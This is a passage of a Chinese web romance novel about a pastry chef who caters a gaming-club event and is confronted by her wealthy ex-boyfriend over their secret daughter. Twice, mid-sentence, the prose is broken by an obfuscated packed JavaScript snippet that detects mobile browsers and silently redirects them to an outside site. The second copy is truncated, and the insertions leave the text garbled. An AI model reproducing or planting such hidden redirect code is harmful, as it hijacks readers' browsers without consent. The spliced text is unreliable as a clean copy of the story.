一旦开始忙碌,连停下来休息的时间都没有了。 七点多的时候意意睡醒了,不哭也不闹,自己熟练地从包里拿出梁音给她准备的衣服换上,然后从小床上爬下来乖乖的去洗漱。 餐桌上梁音给她做了早餐,她一边看叮当猫一边吃早餐,吃完了还把空碗端了进来要自己洗。 又独立,又乖巧。 明颜就没见过这么懂事的小孩,拿了一个刚刚烤出来的小蛋糕给她,在她软嘟嘟的脸上重重亲了一口:“意意真棒。” 十二点的时候,她们把所有的甜品一一打包清点好,叫来的商务车也到了。 除了这辆商务车,明颜还把自己的车也开上,这才将将放下。 梁音带着意意上了商务车,防止出什么意外。 一大早忙到现在,终于能稍微休息一会儿。 刚刚坐好,意意从自己的草莓小包包里掏出一包薯片,拆开了大方的递给梁音,“妈妈给你。” “谢谢宝贝。”梁音吃了块薯片,手机忽然响了一声。 是她之前的助理兼同事,莫妮卡。 莫妮卡给她发了封邮件,惊喜地告诉她有了新发现。 莫妮卡走访了梁音在佛罗伦萨住的房子的对面的一家便利店,老板认出了大卫,表示这个大卫两个月前来过这里好几次,他的监控有拍到。只不过他的监控储存卡不知道放哪里去了,要找一找。 如果找到了的话,这就是一项证据。 一个住在市中心的另一家餐厅的主厨,几次三番千里迢迢的出现在梁音家对面,这本身就很耐人寻思了。 而后没过几天,在一场甜品大赛上,大卫以一票之差输给了梁音,可是赛后,大卫向组委会举报梁音剽窃他的创意。 梁音被剥夺了冠军的奖牌和荣誉,而大卫在媒体中肆意宣传他被抄袭的委屈和痛心,赢得了广大民众的同情和声援。同时也将梁音推向了抄袭者的深渊。 为了挽救餐厅的声誉,餐厅经理将她辞退。 又为了自己和女儿的安全,梁音不得不选择回国。 莫妮卡作为她的助手,在甜品大赛上帮她一起完成,也因此收到了餐厅的警告。 梁音没有坐以待毙,她设计每款甜品都会记录下自己的灵感来源和设计理念。有时候是在手机上,有时候是在电脑上,她的设计处处有迹可循。 所以她一纸诉状将大卫和T&R餐厅告上了法庭。 莫妮卡帮她找到的这个监控不确定可不可以作为一个辅助证据,她还需要咨询她的律师。 抄袭官司本就难打,耗时也久,现在她能做的只有等。 —— 下午两点,ZA俱乐部邀请了基地里其他关系比较好的俱乐部一起为疯玩战队开了个欢迎会。 隆重的欢迎仪式后,闲话少叙,到了下午茶时间。 一群人走进来。 “蛙趣,这下午茶也太精美了吧,像进入了甜品王国似的。” “看,这摆盘,还是蔡文姬的耶……” “太漂亮了!” 进来的队员们看着各式精美的甜品简直应接不暇,纷纷拿起餐盘。 “好吃!” 不知道是谁突然重重地喊了一声,现场的氛围在香甜的味道围绕之下,变得轻松而愉悦。 疯玩战队的辅助是个乐呵呵的小胖子,一边吃一边赞不绝口,疯狂向队长推荐:“队长,你尝尝,真的特别好吃……我感觉好幸福啊。” GM为人冷淡,对甜品也没什么兴趣,打算继续维持他的高冷,下一秒就被小胖子喂了一口提拉米苏,胖子笑呵呵地看着他的表情问:“怎么样队长,我说了特别好吃吧。” GM舔了舔嘴角,还是那张面瘫脸。过了几秒,对胖子说:“再给我吃一口。” 现场的气氛越来越好,肉眼可见的大家都对ZA俱乐部的茶歇十分满意。 都在说这次ZA一定下了血本了,肯定是请的大酒店的甜品师。 有人摇头:“五星级酒店的甜品都没那么好吃,我和你说,很多大酒店的甜品大部分都是预制的,名气大,难吃得一匹。” 不仅如此,其他几个俱乐部的老板还来和尹文昭打听是哪家酒店的甜品,请他引荐一下,下次他们也要订这家。 尹夏看大家对这场下午茶都如此满意,提着的心完全放了下来。 当然,早在看到两位主厨姐姐把甜品送来的时候她的心就已经放了一半了,她只是没有想到,反馈会这么的好。 没有订五星级酒店的茶歇而是选择了一家名不见经传的小甜品店,尹夏也是冒了一点风险的,深怕自己在这方面节省开支会引起队员们的不满。 好在她没有看走眼。 家里长辈都说她办不成一件正经事,事实证明,是他们小瞧她了。 sherry姐姐也帮她证明了自己,真是她的福星! 尹夏很开心,去到俱乐部的后厨热烈的拥抱正在现场制作饮品的梁音和明颜:“两位主厨姐姐,谢谢你们。下午茶做得很好,大家都很满意。” 梁音看她眼睛里亮光闪闪,浑身的轻松愉悦,终于不像之前那样紧张。倒了一杯百香果汁递给她:“也谢谢你给我们这个机会,辛苦了一天,现在也轻松一点吧。” 尹夏愣愣地看着面前的百香果汁,原来她的紧张sherry 姐姐都看在眼里。 低头就着梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716423|189337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音的手直接喝了一口,尹夏抬起头,笑得愉悦:“很甜呢!” 梁音笑着摇了摇头。 是她的心甜吧。 尹夏又从包里拿出几张名片递给梁音:“对了两位姐姐,这是外面几个俱乐部老板的名片,你收着,他们都对你们的甜品很满意,我也把你的联系方式给他们了。” 梁音接过名片,“谢谢。” 正准备把做好的饮品端出去,在外面应酬的尹文昭脚步匆促地跑了进来,直接走到梁音面前:“sherry小姐,你做的甜品很好吃,谢谢了。我有个贵客要到了,他特别喜欢舒芙蕾,麻烦你尽快帮我做一份。” “对了,要抹茶味的!”尹文昭的语气虽然客气,但也难掩上位者的理所当然,嘴里说着麻烦其实就是命令,说完转头就走了,也没管梁音答没答应。 对于尹文昭来说,梁音做的甜品再好吃,也就是个小甜品店的甜品师,只要花钱就能命令的服务者,是不值得他多花时间维持礼貌的。 这也是一些有钱人的通病了。 尹夏为自己哥哥的行为而羞愧,他们只花了茶歇的钱,这种临时要求再现做甜品是不应该的。 梁音也完全可以不做。 “sherry姐姐,我为我哥哥傲慢的态度向你道歉,不过确实要麻烦一下你,因为来的人很重要,没有他的投资我和哥哥的俱乐部就要开不下去了。而且这位大少爷脾气很怪,永远只吃舒芙蕾。我明白你没有准备舒芙蕾是因为舒芙蕾冷掉之后口感会大打折扣,关键是我也没有想到这位大少会突然过来,所以能不能麻烦你再帮我做一份,当然我会额外给你费用……” 尹夏解释了很多,又再次为她哥哥的态度道歉。 “不用额外给钱。”梁音显然没有生气,看到尹夏着急解释,温和的安抚她,“没关系的,抹茶味的舒芙蕾很好做,不麻烦的。” 至于尹文昭的态度,她还真的没有多生气。 要说傲慢,她可见过比尹文昭傲慢一百倍的人。尹文昭至少还算礼貌。 作为商家,她也不会因为突然要求增加的一份甜品而生气,更何况,夏夏又是道歉又是要给她补钱的,很诚恳了。 对于她来说,做一份舒芙蕾本就是举手之劳。 — 做份舒芙蕾是很快的,就算要增加一些繁复的装饰,对于梁音来说也费不了多少时间。 明颜空下来后带着意意去了车上拿玩具,梁音端着做好的舒芙蕾从厨房出来,好像那位大人物还没到。 尹文昭对她连声表示感谢,可能是被妹妹训斥了一顿,态度好了不少,“辛苦辛苦,麻烦你了哈。舒芙蕾就放在——” 话音陡然断掉。 俱乐部门口缓缓停下了一辆华贵的劳斯莱斯,尹文昭一刻没停,丢下梁音,连忙走去外面迎接。 相比较而言,当然还是他的投资人更重要。 梁音只能转身把舒芙蕾放在一个中央的摆台上,正打算去找尹夏,忽然就见明颜气喘吁吁地跑进来,意意也没带回来。 “霍……” “什么?”梁音让她喘匀了再说。 明颜手指往门口指了指:“是霍景闻!” 话音刚落,双扇明净的玻璃大门被人推开,透过阳光,反射出晃眼的似梦似幻的彩色光晕。门口黑色的劳斯莱斯车门打开,一双被西装裤包裹的笔直长腿伸出踩在地面,身姿颀长的高大男人缓缓下车,露出那张饱受上帝偏爱,英俊冷感的脸,耀眼的阳光似乎也随他而移动。 他站直身体,冰凉冷倦的视线看了过来,就这么不期然与她的目光直直撞上。 尹夏不知道什么时候走了过来,在梁音身边介绍:“呐,我们的投资人就是他,霍家的长孙,上流圈的顶级富二代,长得帅吧?但是这个人脾气很烂,特别霸道,目中无人,咱们可千万别惹到他。” 虽然霍景闻投资了他们俱乐部,但尹夏还是要如实提醒一下梁音,不要惹到这个阎王爷。 梁音点点头,很是赞同。 她以为和霍景闻此生不会再有见面的机会了,没想到会在一个游戏俱乐部里,意外的碰见。 12. 第 12 章 霍景闻刚刚好像看到她了,表情就像是看到一个陌生人一样的冷漠。过了六年,什么都淡化了,爱也好恨也罢,富人的世界充满了纸醉金迷,花花迷人眼,他或许都认不出她了,早就忘了她这个普通又平凡的前女友。 这样最好。 他们再不相干,过各自的生活。 梁音也不想和他再有任何的来往。 让明颜先去车上把意意看好,还好明颜没把孩子带下来。霍景闻已经见过一次意意了,如果再让他看见意意和她在一起,她怕万一霍景闻会猜到什么。 她不想出任何的意外,不想让霍景闻知道有孩子的存在。 不管霍景闻在不在意孩子,让他知道了都会有很大的麻烦,还有可能对他造成困扰。当初决定生下意意,梁音就决定了,绝不会让霍景闻发现。 意意是她一个人的孩子。 明颜先回了车上,梁音和尹夏说了声舒芙蕾放在了中央的摆台上,转身打算进后厨先把东西收拾好。 至于摆台之类的,要到下午或者晚上再来收了。 只是没走两步,就被身后快步赶上来的尹文昭拦住,问她:“sherry老师,那个甜品……” “在中央摆台上。” “非常感谢。”尹文昭转头走回霍景闻身前说,“霍少,舒芙蕾已经做好了,我带你去。” 他身旁的霍景闻停了下来,那双丹凤眼似乎随意朝她瞥了一眼,很快就听到他淡淡地应了一声“嗯”,然后直接从梁音身边走过,带着冷漠的疏离。还是一样的高不可攀,拒人于千里。 也许他没认出自己。 梁音心想。 她也不会多事主动和他打什么招呼,直接进了厨房。 厨房里的工具收拾得差不多,剩下的几样冲洗干净后梁音把这些打包好,因为东西太多,所以请尹夏帮她叫了个工作人员一起搬。 虽然不小心碰见了霍景闻,但是他冷漠无视的态度让她轻松许多,不管是不是没认出,但是明显也是不想和她“叙旧”的意思。 宜京那么大,这种偶遇很难得,以后他们不会再见了。 只是她刚提着东西走到门口,一个工作人员就拦住了她,请她留步。 尹文昭有事找她。 确切的说,尹文昭是按霍景闻的要求来找她。 “霍少很喜欢你的甜品,他希望和你当面谈谈,这是个很好的机会,sherry老师,你可要好好把握住。”尹文昭直接对梁音做了个请的姿势,不容梁音拒绝,就带她往休息室走,一边走一边交代。 想到霍景闻当时在菲尔纳丽也是吃了一口舒芙蕾就要见人主厨,这或许是他一个怪癖。尹文昭心想。 但是当时菲尔纳丽的主厨来了以后,这霍大少的态度又反复无常。想到这里尹文昭好意提醒了梁音一句:“霍少是我们俱乐部的投资人,怎么说呢,不是个平易近人的,不要得罪了,如果待会儿对你的态度不太好,还要麻烦你多多包涵。” 尹文昭不自觉又摆出了那幅高高在上的面孔,看似提醒,其实是在通知梁音而已。 话落时,刚好来到休息室门口。 梁音现在不想进也得进了。 路上她已经给明颜发了微信先带意意回去,不要等她。 虽然她想当做今天没见到霍景闻最好,但现在看来恐怕不行了。 推开门,一眼望去,茶几上摆着梁音做的那份舒芙蕾。 霍景闻慵懒坐在沙发上,长腿交叠,寻声望来,似笑非笑地看着梁音,意有所指地说:“这舒芙蕾味道不错。” 紧接着这个外界传闻桀骜不驯的霍大少就从沙发上站了起来,绅士地为梁音拉开了椅子,一贯冷淡的嗓音染上了几分笑意:“坐,sherry老师。” 意外柔和的声线,听得尹文昭都愣了一下,忽然转头深深看了梁音一眼。 同样是做出了让霍景闻满意的甜品,怎么和菲尔纳丽的主厨待遇完全不同? 这霍景闻是出了名的乖张跋扈,与人为恶。何时见到他有这么礼贤下士的一面?看来对这个sherry的甜品很是满意了。 想到这里,尹文昭突然有些后悔自己刚刚对待梁音的轻慢。 “我有事要和sherry老师单独聊聊。” 霍景闻一句话,尹文昭就很有眼色地出去了,甚至在离开时还顺手关上了休息室的门。 门一关上,休息室里只剩下他们两人,气氛顿时安静了下来。 梁音想了想,还是在霍景闻对面坐下来。 她不知道霍景闻要和她谈什么,面上保持着平静。 “sherry老师,你做的舒芙蕾很不错,你自己尝过吗?” 霍景闻在她对面的沙发上慢条斯理的坐下。 梁音总觉得他话里有话。 作为甜品师,怎么可能没有尝过自己做的甜品? 梁音忽然想起她当年离开宜京,给他留下的,也是一份抹茶舒芙蕾。 思索两秒又觉得自己想多了。 他好像只是随口夸赞一句,从头到尾看见她时表现得都很陌生客气。 好像不认识她一样,一直叫她sherry老师。 “当然,我做了很多次舒芙蕾,自然是尝过的。”梁音平和地回了一句。 “很多次……”霍景闻拿起茶几上的茶壶倒了两杯茶,其中一杯递给梁音,好奇地问,“sherry老师这几年一共做了多少次舒芙蕾?你数过么?” 如果说刚刚梁音只是怀疑他意有所指,现在就是确定了。 当年留下那份舒芙蕾其实是一时之气。 她和霍景闻最黏糊的时候,在一起做过很多次舒芙蕾。在她心里,舒芙蕾代表了她和霍景闻在一起最甜蜜的时光。她丢下那份舒芙蕾,也代表丢弃了那份和他在一起的甜蜜。 这份一时之气,经过六年的时间,梁音早就散了。 没想过六年之后,霍景闻还会提起。 可是对于这件事,梁音觉得他们早就没有重提的必要了。 她实在不想和他再提起当年。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716424|189337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >看梁音沉默,霍景闻倒也没有继续追问,反而解释了一句:“是这样的,我奶奶也很喜欢吃甜品,但家里换了几个甜品师她都不太满意。我这次请你来就是为了这件事。sherry老师的甜品我很满意,如果方便的话,我们聊一聊聘请的事?” 很公事公办的语气。 听上去请梁音过来就是为了奶奶聘请甜品师而已。 霍家是宜京的顶级富豪,开出的价码肯定不菲。但是梁音几乎是立即拒绝了:“不好意思,我已经接受了其他餐厅的聘请,暂时没有这个荣幸了。” “不可以为我推掉吗?只要你放弃别人选择我,我可以出更高的价钱,给你最好的待遇。” “我很抱歉。”梁音直接站起来,顺便提出告辞,“如果没别的事的话,我就先走了。” 霍景闻抬头静静看了她一眼,试图挽留:“没得谈了?” 梁音再次道了一声抱歉,走到休息室门口,手指刚碰上门把手,霍景闻冰冷又阴阳怪气的声音从身后传来:“还是那么无情呢,梁、小、姐。” 梁音停下了脚步。 这次,他没有叫她sherry老师,而是叫她梁小姐。 尹文昭可没有向他介绍过她姓梁。 这说明他从一开始就认出她了,现在只是不再维持陌生的面具。 他到底想干什么? 梁音的心里忽然有点没底。 她很清楚霍景闻的性子,睚眦必报,嚣张乖戾。所以他一开始提起那份舒芙蕾的事,就是要和她算六年前的账么? 她一方面觉得不至于,可是过了六年,她也没把握霍景闻是不是变得更加记仇和咄咄逼人。还是说,他是不是发现了…… 不确定霍景闻想做什么,以至于梁音的脚步变得有些踌躇。 有人急促的敲了两下门,然后就有从外面推开的趋势。 梁音就站在门口,因为思考霍景闻的动机而变得恍惚没有立即退开,若是厚重的门真的从外面推进来,一定会撞上她。 外面的人有点急性子,这时已经把门用力推开了一个角。下一瞬梁音眼前出现一只骨节分明的大手,贴在门上重重的摁了回去,发出了响亮的“砰”地一声。 让梁音的额头得以幸免于难。 门外的人识相地没有再推。 “谢谢你,霍景闻。”梁音回过神来,对他轻声道了声谢。 霍景闻扯了扯嘴角,“看来这么多年过去,梁小姐也还记得我。怎么,不和我装陌生人了?” 梁音:“……我以为你没认出我。” 而且,不是他先装不认识的么。 霍景闻笑了声:“没认出你?也不过六年,梁小姐是以为我老眼昏花,连自己的……前女友也不认识了?” “……” 梁音微微叹了口气,不准备和他继续打嘴仗,“你找我……到底想和我说什么?” “不急。” 霍景闻拉开门,再没看她一眼径直走了出去,淡声丢下一句,“我们去个地方,慢慢谈。” 13. 第 13 章 劳斯莱斯平稳地穿过车流,看着不断倒退的街景,梁音心底的疑虑更重。 直到现在,她终于明白她和霍景闻的这次见面压根不是偶遇。更像是,他有备而来。 一路上霍景闻都闭着眼,神色倦冷,一句话没说。 她也不是那种热络的人,做不出和他客套叙旧的模样,便也一直沉默。 车里气氛无声安静。 奢华的豪车沿着宽阔的街道一直开,从热闹的市中心越开越偏僻,古旧,直到转角滑进了一个逼仄的巷子里。 进入了老城区。 这里的房屋街道破旧上了年头,屋外的防盗窗经过长年累月的风吹雨打,流下斑驳的锈迹。这里不比市中心繁华,连巷子里的路灯都经常坏掉,住着的也多是老人小孩。 作为一线大城市的宜京,这样的地方已经很少了。 再过几年,恐怕政府也要把这一块拆掉重建。 看着外面一排极富年代感的建筑,时隔六年,这里的一切都还是如此熟悉。 那个时候梁音还没有毕业,一边上学一边打工,为了不影响室友,身上又没什么钱,只能租在这个便宜破败的地方。 她当时身上大部分的钱都用来买了昂贵的烤箱,厨师机,各类工具,材料。这里地段便宜,她的预算才可以租下一室一厅,带独立厨卫。 她租进来时还是个破败的空房,后来她买了墙纸窗帘,去二手市场淘了一些挂画装饰,一点一点把它布置成一个温馨的小家。 唯一不足的是外面巷子里的路灯总是坏,她每天很晚从打工的西餐厅回家。走在漆□□仄的巷子里,就算打开手机的手电筒,在满目昏暗幽静中,那一点光也太微弱。后来她就买了个大功率的手电筒,能照亮路,却还是每天提心吊胆。 偏僻,狭窄,贫穷的地方总会滋生很多罪恶,让每一个瘦弱的女性都心惊胆战。 所以家里养了一个男人,也不是没有好处。捡到霍景闻,把他带回家以后,每天晚上梁音再也不怕经过那个幽静的小巷子。无论多晚,霍景闻都会提前出来接她,这让她感到无比的安心。 她渐渐地依恋上这个她捡回来的穷小子,他身无长物,无依无靠,就会永远在她身边……和她一样。 如果,他真的只是一个无家可归的穷小子就好了。 回忆到这里,梁音已经不想继续回忆下去了。 霍景闻忽然带她回来这里,是来回忆往昔的么? 与这里的破败格格不入的豪车缓缓停在巷子外面,霍景闻就下了车。 梁音也随之打开了车门。 六年不见,这条巷子的水泥路更破旧了,到处都是大大小小坑坑洼洼的水坑。 霍景闻径直走在前面,忽然传来一句:“梁小姐回国后来过这里么。” “还没有。”梁音说。 他从头到尾都很冷漠,连个眼神也没落在她身上,看起来并不是要和她回忆往昔。 她完全不必担心他对她还有旧情的可能。 既然不是来回忆过往,那霍景闻带她来这里只有一个可能—— 找她麻烦,或者说,找她算账。 她有什么需要他算账的地方…… 思索间霍景闻已经在已经长着青苔的巷尾停下,长年无人打理,墙面上厚厚的青苔野蛮生长,覆盖住原有的红色砖块。 当然也无人知晓,这堵墙上,曾经溅满了鲜血。 梁音就是在这里捡到的霍景闻。 当时他被三个年轻力壮的混混堵在这里,被打得头破血流,额头流下来的鲜血沾湿了他的眼睫,从眼睑中央蜿蜒而下,鲜红的血落在眼底,那双锐利的丹凤眼看起来更加凶恶,倔强,不要命。 对面三个混混也没讨到好,三个人比霍景闻伤得更重,躺在地上流了一地的血,最后被他们的同伴救走。 而霍景闻拼命的原因,就是这几个混混不知死活地骂他野种。 后来霍景闻告诉她,他妈妈生下他就去世了,只给他留了个戒指,他从小到大从没脱身。 他说的话一半真一半假。父母双亡,无家可归是假。他的爸爸霍秉仁到现在依旧是商界呼风唤雨的大佬。至于他的母亲,应该是真的去世了。 梁音微微抬眼,就看到他修长的尾指上,一个熟悉的素戒反射出冰冷的弧光。 是他妈妈留给他的。 “梁小姐,你应该还记得这个地方。”霍景闻终于转过身来,垂着眼睫,不带情绪地看着她,“当初你在这里救了我,我很感激你。” 梁音:“都过去了。” 过去的事她不想再多提。 霍景闻顿了下,点了点头,没再说一些虚伪的感激话,直接进入了正题: “梁小姐不想再提,那我也不想多说再引起你的不快。但是有件事,我需要你给我一个交代。” 梁音眼睫颤动了下:“什么?” 梁音的云淡风轻大抵让霍景闻更加不愉,他的表情越发生冷,平淡地说着自己的过去:“梁小姐也知道,我的母亲生下我以后就去世了,我从小失去了母亲,被无数人叫过野种。” “直到我长大后,用拳头一个一个让他们闭了嘴。敢在我面前提起这两个字的人,都被我送进了医院。” “梁小姐也知道我有多讨厌“野种”这两个字,有多厌恶不负责任丢下孩子的父母,是不是?” 他静静望着她。 他的语气几乎有点咄咄逼人了,梁音脑海里忽地有一种紧绷的弦断掉嗡鸣的感觉,空白了一瞬。 那点希冀的侥幸荡然无存。 她最担心的事,还是发生了。 喉咙有些堵塞,过了好几秒,她才轻声说:“……是。” 霍景闻扯了扯嘴角,“既然知道,那你梁音,怎么敢自私的让我做了五年抛弃孩子的爸爸?就算你觉得我们已经分手没必要告诉我,对我来说还是……十分生气呢。” 梁音绝望的垂下眼。 果然,他知道了,他都知道了。 霍景闻这个人从不做无把握的事,他能说出这些话就代表他什么都查清楚了。就算她否认,也无济于事。 他会有一百种办法让她不得不承认。 她把孩子生下来,本是打算一辈子都不让霍景闻不让霍家知道。这样孩子就永远是她一个人的,也不会给霍景闻带来麻烦。 没有想到还是被他知道了。 “我……我很抱歉瞒着你生了孩子,这也许让你不愉快但是,”梁音蜷起手指,舔了舔嘴唇试图解释,“我也有自己的苦衷。而且孩子不是你一个人的,我想我有生下来的权力。你为此生气我理解,但我把孩子生下来就不打算让你知道,我想这样就不会给你造成麻烦。其实你现在也可以当做不知道……我保证,会带孩子离得远远的,绝 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梁音立即反对:“过去的事我不想再解释,瞒着你的事我也很抱歉。但孩子是我一个人的,我一个人也能照顾好她,就算是打官司,我也不会输。霍景闻,你以后会有别的孩子,不是非意意不可,而我只会有意意一个。” 她理解霍景闻生气的原因,可是她还是没有办法答应他的要求。 “你怎知我不是非意意不可。”霍景闻原本疏远地和她隔了很宽的距离,此时抬腿向她走了两步,在她面前站定,高大的身形笼罩下来,在她身上落下一片阴影,“至少我现在只有意意一个女儿。梁小姐,你说你可以一个人照顾孩子,可是你忽视了孩子对爸爸也有需求。她今年五岁了,别人都有爸爸她没有,她会怎么想?会不会自卑觉得自己和别的小孩不一样?所以你也不知道,意意已经来找过我两次。” 梁音豁然抬眼,瞳孔颤了颤。 两次?! 一次是明颜带她去的。 那还有一次呢? 是那天在商场! 意意从来不是不听话的孩子,原来那次,她也是因为看见了霍景闻,才跑下去找他! 梁音原本坚定的信念忽然变得有点杂乱和动摇。 她一直认为自己可以一个人照顾好女儿,给她双倍的爱,绝不会让女儿委屈。一直以来,她做得也还不错,意意从来没有吵过要爸爸。 可现在……她忽然变得不那么肯定。 原来意意不是不想要爸爸,而是她一直忽视了女儿的需求么。她的女儿一直很乖,从来没有让她感到为难过,所以才从来不在她面前多提。 就在梁音惊疑不定间,霍景闻又淡淡开了口:“我没有和你抢孩子的意思,梁小姐。” “我知道你的顾虑,一个人生下孩子,是极为辛苦的,牺牲了那么多,有再多的私心我都能理解。所以我不会和你抢孩子,也不会要求孩子回到霍家,孩子还是你的。我只要求,可以担起作为父亲的责任,陪陪孩子。而且你现在心里很清楚,女儿也需要我。为了女儿的健康成长,最好还是不要让父亲这个角色在孩子生命中一直缺失比较好。” “我只是想陪陪女儿,补偿女儿,绝对不会过多打扰和干涉到你的生活。你我之间早就过去,彼此都不希望和对方有不必要的牵扯。” 霍景闻抬起眉骨,略显戏谑,“你不必多心,我还没有多情到,对一个离开六年的女人念念不忘。我今天出现在这里只是因为——” “梁小姐,我想见我的女儿。” 14. 第 14 章 梁音发现自己没有理由拒绝。 首先霍景闻说不会和她抢孩子,也不会让霍家来抢孩子,女儿还是她一个人时,她已经狠狠松了一口气。 第二意意需要爸爸,否则不会几次三番偷偷去找霍景闻。而且霍景闻说得没错,她可以独自抚养孩子,但在孩子的成长中,父亲一角的缺失总是不好的,霍景闻愿意花时间陪意意,这不是坏事。 霍景闻是因为自己小时候的经历,不想让自己的孩子和他有一样的遭遇,才提出要陪陪孩子,而不是因为别的原因。 从头到尾他对她处处疏远陌生,她完全不必担心和他有什么纠葛。当然她也不会自作多情觉得霍景闻还对她有什么感情,毕竟当初他们的恋爱对他来说也只是贵公子一场体验生活的游戏罢了。 在这场游戏中,梁音作为一个配合的npc,能有多重要。 思来想去,他的提议似乎都不是一件难以接受的事。 “请让我再想想。” 梁音思索再三,最后说。 “可以。” 霍景闻似笑非笑的扯了扯嘴角,宽容的给了她三天的考虑时间。 劳斯莱斯停在天星嘉华门口,司机下来为她拉开车门,梁音礼貌地说了声谢谢。 她还没有做好决定,需要时间认真考虑。 刚要下车,一路上都在闭目养神,连看也没有多看她一眼的霍景闻这个时候忽然慢条斯理地抬起眼睫,出声道:“等等,梁小姐,有件事我还需要和你商量。” 司机很有眼色地走到了一边。 梁音问:“什么事?” 霍景闻:“意意已经来见我两次了,但这两次,我都没能认出她,冰冷的两次拒绝一定让她很伤心,这是我的错。我希望你能让我和她尽快再见一面,这次我会向她道歉,告诉她我很爱她。” 他拿出手机,打开二维码放在梁音眼底,“你如果安排好了,请告诉我时间地点,我需要提前做一些准备。” 梁音看着眼前的二维码,很犹豫。 她内心还是不太想加霍景闻的联系方式,她还没有完全想好要怎么处理这件事。 但是想到女儿这几天垂头丧气的脸,她又有些动摇。 如果霍景闻向孩子道歉,是不是可以弥补孩子心里的伤痕? 她的犹豫让霍景闻冷笑了一声,皱着眉说:“梁小姐,我已经退了很多步,处处不让你为难。现在,我也希望你不要让我为难。为了孩子,我们以后还需要很多沟通的地方,你要我每次都亲自来找你?还是说,梁小姐打的就是这个主意?” 梁音:“我不是……” 霍景闻好整以暇地看着梁音,啧了一声,一脸怀疑,“是么?” 梁音木着一张脸,快速的扫了码,“加好了。我回去和意意商量一下,时间再通知你。” 霍景闻神色恢复冷淡:“谢谢。” …… 梁音上楼后,劳斯莱斯重新启动,驶离天星嘉华。 安叔问了句:“去哪儿?” “去公司。” “好。” 后座里霍景闻整个人往后靠,面无表情地闭着眼,一贯的阴沉森冷,没有人看得出来他在想什么。 安静沉默的车里。 霍景闻的声音忽然轻飘飘的响起:“安叔,我记得你是我妈带进霍家的,在霍家二十多年了。不知道现在你是忠于霍家……还是忠于我呢?” 安叔看着前方的路况,那张严肃的脸上已经布满了岁月的痕迹,性格也沉闷,不怎么会说话,最后只说:“如果不是你回来,我在霍家被排挤得都快活不下去了。景闻,我都明白。” “那就好。” 霍景闻挑了挑唇角,轻笑了声说。 去到公司后,工作就像雪花一样不断堆叠压下来,让霍景闻忙得没空抽身。 城西项目,他只是随手放了个饵,就揪出来不少的内鬼。 而由霍景闻授意,从头到尾知晓他所有“规划”的人只有——赵声涛。 他的继母赵洁清的好侄子。 受赵洁清的庇佑,赵声涛在霍氏捞了不少好处,能力平庸,却在三年内一连升了三级,成了项目部的总经理。 项目部,可是捞油水的好地方。这三年赵声涛捞的盆满钵满,老爷子不是个瞎子,却碍于儿媳妇的面子不好亲手解决。这个“难题”自然就落在了霍景闻身上。 老爷子对他这个长孙虽然看重,但又何尝不是把他当做一把锋利的刀。 由霍景闻来对付赵家人,再合适不过了。 得知自己被开了的赵声涛怒气冲冲闯进霍景闻办公室,愤怒地在他办公桌上重重拍了一掌:“霍景闻你个孙子,你敢开了我?你知不知道我是你妈的侄子?这个霍氏,有我姑姑的一份,你他妈有什么资格开了我?” “我妈?”霍景闻笑了声,慢悠悠地说,“我妈早死了。” “你——我说的是你继母!” “你也知道那只是我继母?一个抢了我亲妈位置的女人,我看她可是眼中刺肉中钉啊,更别提她的侄子——我更想弄死了。” 霍景闻坐在椅子上,懒洋洋地抱起手臂,嘴里明明说着恐怖的话,面容却还是和煦的,无端的让人觉得汗毛倒竖。 看得赵声涛的气焰弱了三分。 他本来以为这次的事一定能把霍景闻这兔崽子拉下来,让他狠狠栽个跟头。没想到最后竟然是自己被这小子摆了一道,被他抓住了把柄。 赵声涛是又气又恼。 他在霍氏显然嚣张惯了,虽然被抓住了把柄,但他打量霍景闻再怎么凶狠跋扈也不敢真的对他怎么样,毕竟他姑姑可是霍家长房名正言顺的儿媳,他霍景闻名义上的母亲! 结果不到一个星期,霍景闻竟敢做得那么绝,直接把他开除了! 他怎么能忍下这口气! 这霍氏又不是他霍景闻一个人的! “狂妄无度不尊长辈的小子,这霍氏还没轮到你做主!我告诉你,这件事我一定会告诉我姑姑,你等着瞧。” “别以为你坐上了这个位子就可以高枕无忧,你也不去外面打听打听,有多少人反对你霍景闻?一个出生就克死亲妈,天生凶煞,孤寡一生的崽种,我看你还能嚣张多久!” 赵声涛气上心头,直接指着霍景闻的鼻子大骂。 门外听到骂声的杨乾人都麻了,后背冷汗直流,站在门口连门都不敢再敲。 这赵总是疯了吗? “好,太好了,我真的很久没听人对我这么说话了,真是新鲜。” 被指着鼻子骂的霍景闻不仅不恼怒,甚至还捧场的鼓了两下掌。 他从椅子上站起来,慢条斯理的整了整袖子,走得绅士又优雅,来到了赵声涛面前。 赵声涛越发不屑地看了他一眼:“怎么,自以为回了霍家,就忘了自己的命格有多卑贱了——啊!” 膝盖被重重一击,让赵声涛痛的惨叫了一声,支撑不住,整个人摔倒在地。 碎骨的尖锐疼痛传来,赵声涛咬紧了牙关,“狗东西,你敢打——” 他刚想从地上爬起来,手背又被重重踩住,压着他的指骨几乎要碾碎,那种深入骨髓的痛楚让赵声涛面目扭曲,连声惨叫了起来。一抬眼,看到一双戾气深重,让他胆寒无比的眼。 那双眼凶狠,血腥,残忍,像是来自幽深无边的,嗜人地狱。 赵声涛终于开始后怕。 他眼泪模糊,满身冷汗地想起了霍景闻暴戾在外的名声。 想起了那个被他整得妻离子散一无所有的汪林祥。 